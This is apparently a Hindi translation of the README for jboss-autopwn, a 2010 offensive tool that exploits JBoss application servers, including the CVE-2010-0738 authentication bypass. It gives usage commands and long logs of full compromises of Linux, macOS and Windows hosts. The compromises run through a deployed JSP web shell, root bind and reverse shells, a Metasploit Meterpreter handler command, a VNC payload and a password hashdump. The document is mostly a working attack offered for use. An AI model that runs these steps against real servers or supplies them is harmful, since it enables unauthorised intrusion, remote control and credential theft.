jboss-autopwn

JBoss Autopwn जैसा कि BlackHat Europe 2010 में प्रस्तुत किया गया था - यह संस्करण CVE-2010-0738 को शामिल करता है, जो JBoss प्रमाणीकरण बायपास VERB हेरफेर भेद्यता है, जिसे Minded Security द्वारा खोजा गया था।

C. Papathanasiou 2010

परिचय

यह JBoss स्क्रिप्ट लक्ष्य JBoss AS सर्वर पर एक JSP शेल तैनात करती है। एक बार तैनात होने के बाद, स्क्रिप्ट अपनी अपलोड और कमांड निष्पादन क्षमता का उपयोग करके एक इंटरैक्टिव सत्र प्रदान करती है।

सुविधाओं में शामिल हैं:

मल्टीप्लेटफ़ॉर्म समर्थन - विंडोज, लिनक्स और मैक लक्ष्यों पर परीक्षण किया गया
बाइंड और रिवर्स बाइंड शेल के लिए समर्थन
विंडोज लक्ष्यों के लिए मीटरप्रेटर शेल और VNC समर्थन

स्थापना

निर्भरताएँ शामिल हैं

Netcat
Curl
Metasploit v3, वर्तमान पथ में "framework3" के रूप में स्थापित

उपयोग

bind_tcp और reverse_tcp का उपयोग करने वाले *nix लक्ष्यों के लिए e.sh का उपयोग करें

./e.sh target_ip tcp_port

विंडोज लक्ष्यों के लिए e2.sh का उपयोग करें जो Metasploit विंडोज पेलोड निष्पादित कर सकते हैं

e2.sh target_ip tcp_port

उदाहरण

लिनक्स बाइंड शेल:

[root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null [x] Retrieving cookie [x] Now creating BSH script... [x] .war file created successfully in /tmp [x] Now deploying .war file: http://192.168.1.2:8080/browser/browser/browser.jsp [x] Running as user...: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) [x] Server uname...: Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux [!] Would you like to upload a reverse or a bind shell? bind [!] On which port would you like the bindshell to listen on? 31337 [x] Uploading bind shell payload.. [x] Verifying if upload was successful... -rwxrwxrwx 1 root root 172 2009-11-22 19:48 /tmp/payload [x] You should have a bind shell on 192.168.1.2:31337.. [x] Dropping you into a shell... Connection to 192.168.1.2 31337 port [tcp/*] succeeded! id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) python -c 'import pty; pty.spawn("/bin/bash")' [root@nitrogen /]# full interactive shell :-) लिनक्स रिवर्स शेल: [root@nitrogen jboss]# nc -lv 31337 & [1] 15536 [root@nitrogen jboss]# ./e.sh 192.168.1.2 8080 2>/dev/null [x] Retrieving cookie [x] Now creating BSH script... [x] .war file created successfully in /tmp [x] Now deploying .war file: http://192.168.1.2:8080/browser/browser/browser.jsp [x] Running as user...: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) [x] Server uname...: Linux nitrogen 2.6.29.6-213.fc11.x86_64 #1 SMP Tue Jul 7 21:02:57 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux [!] Would you like to upload a reverse or a bind shell? reverse [!] On which port would you like to accept the reverse shell on? 31337 [x] Uploading reverse shell payload.. [x] Verifying if upload was successful... -rwxrwxrwx 1 root root 157 2009-11-22 19:49 /tmp/payload Connection from 192.168.1.2 port 31337 [tcp/*] accepted [x] You should have a reverse shell on localhost:31337.. [root@nitrogen jboss]# jobs [1]+ Running nc -lv 31337 & [root@nitrogen jboss]# fg 1 nc -lv 31337 id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) python -c 'import pty; pty.spawn("/bin/bash")'; [root@nitrogen /]# full interactive tty :-) full interactive tty :-) MacOS X के विरुद्ध (बाइंड शेल): [root@nitrogen jboss]# ./e.sh 192.168.1.5 8080 2>/dev/null [x] Retrieving cookie [x] Now creating BSH script... [x] .war file created successfully in /tmp [x] Now deploying .war file: http://192.168.1.5:8080/browser/browser/browser.jsp [x] Running as user...: uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2) [x] Server uname...: Darwin helium-2.tiscali.co.uk 9.7.1 Darwin Kernel Version 9.7.1: Thu Apr 23 13:52:18 PDT 2009; root:xnu-1228.14.1~1/RELEASE_I386 i386 [!] Would you like to upload a reverse or a bind shell? bind [!] On which port would you like the bindshell to listen on? 31337 [x] Uploading bind shell payload.. [x] Verifying if upload was successful... -rwxrwxrwx 1 root wheel 172 22 Nov 19:58 /tmp/payload [x] You should have a bind shell on 192.168.1.5:31337.. [x] Dropping you into a shell... Connection to 192.168.1.5 31337 port [tcp/*] succeeded! id uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2) python -c 'import pty; pty.spawn("/bin/bash")' bash-3.2# id id uid=0(root) gid=0(wheel) groups=0(wheel),1(daemon),2(kmem),8(procview),29(certusers),3(sys),9(procmod),4(tty),5(operator),101(com.apple.sharepoint.group.1),80(admin),20(staff),102(com.apple.sharepoint.group.2) bash-3.2# इसी प्रकार रिवर्स शेल के लिए। विंडोज बाइंड शेल: [root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null [x] Retrieving cookie [x] Now creating BSH script... [x] .war file created succesfully on c: [x] Now deploying .war file: [x] Web shell enabled!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp [x] Server name...: Host Name . . . . . . . . . . . . : aquarius [x] Would you like a reverse or bind shell or vnc(bind)? bind [x] On which port would you like your bindshell to listen? 31337 [x] Uploading bindshell payload.. [x] Checking that bind shell was uploaded correctly.. [x] Bind shell uploaded: 22/11/2009 18:35 87,552 payload.exe [x] Now executing bind shell... [x] Executed bindshell! [x] Reverting to metasploit.... [*] Started bind handler [*] Starting the payload handler... [*] Command shell session 1 opened (192.168.1.2:60535 -> 192.168.1.225:31337) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\chris\Desktop\jboss-4.2.3.GA\server\default\tmp\deploy\tmp8376972724011216327browserwin-exp.war> विंडोज रिवर्स शेल Metasploit मीटरप्रेटर पेलोड के साथ: [root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null [x] Retrieving cookie [x] Now creating BSH script... [x] .war file created successfully on c: [x] Now deploying .war file: [x] Web shell enabled!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp [x] Server name...: Host Name . . . . . . . . . . . . : aquarius [x] Would you like a reverse or bind shell or vnc(bind)? reverse [x] On which port would you like to accept your reverse shell? 31337 [x] Uploading reverseshell payload.. [x] Checking that the reverse shell was uploaded correctly.. [x] Reverse shell uploaded: 22/11/2009 18:46 87,552 payload.exe [x] You now have 20 seconds to launch metasploit before I send a reverse shell back.. ctrl-z, bg then type: framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E [x] Now executing reverse shell... [x] Executed reverse shell! [root@nitrogen jboss]# टर्मिनल 2 में: [root@nitrogen jboss]# framework3/msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=31337 E [*] Please wait while we load the module tree... [*] Started reverse handler on port 31337 [*] Starting the payload handler... [*] Sending stage (719360 bytes) [*] Meterpreter session 1 opened (192.168.1.2:31337 -> 192.168.1.225:1266) meterpreter > use priv Loading extension priv...success. meterpreter > hashdump Administrator:500:xxxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxx::: chris:1005:xxxxxxxxxxxxxxxxxxxxxx:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1004:5cb061f95caf6a9dc7d1bb971b333632:4ac4ee4210529e17665db586df844736::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:293c804ee7b7f93b3919344842b9c98a::: __vmware_user__:1007:aad3b435b51404eeaad3b435b51404ee:a9fa3213d080de5533c7572775a149f5::: meterpreter > विंडोज VNC शेल: [root@nitrogen jboss]# ./e2.sh 192.168.1.225 8080 2>/dev/null [x] Retrieving cookie [x] Now creating BSH script... [x] .war file created successfully on c: [x] Now deploying .war file: [x] Web shell enabled!: http://192.168.1.225:8080/browserwin/browser/Browser.jsp [x] Server name...: Host Name . . . . . . . . . . . . : aquarius [x] Would you like a reverse or bind shell or vnc(bind)? vnc [x] On which port would you like your vnc shell to listen? 21 [x] Uploading vnc shell payload.. [x] Checking that vnc shell was uploaded correctly.. [x] vnc shell uploaded: 22/11/2009 19:14 87,552 payload.exe [x] Now executing vnc shell... [x] Executed vnc shell! [x] Reverting to metasploit.... [*] Started bind handler [*] Starting the payload handler... [*] Sending stage (197120 bytes) [*] Starting local TCP relay on 127.0.0.1:5900... [*] Local TCP relay started. [*] Launched vnciewer in the background. [*] VNC Server session 1 opened (192.168.1.2:52682 -> 192.168.1.225:21) [*] VNC connection closed. [root@nitrogen jboss]# >>VNC विंडो यहाँ खुलती है.. :-)

jboss-autopwn-1

सबसे लोकप्रिय

कॉपीराइट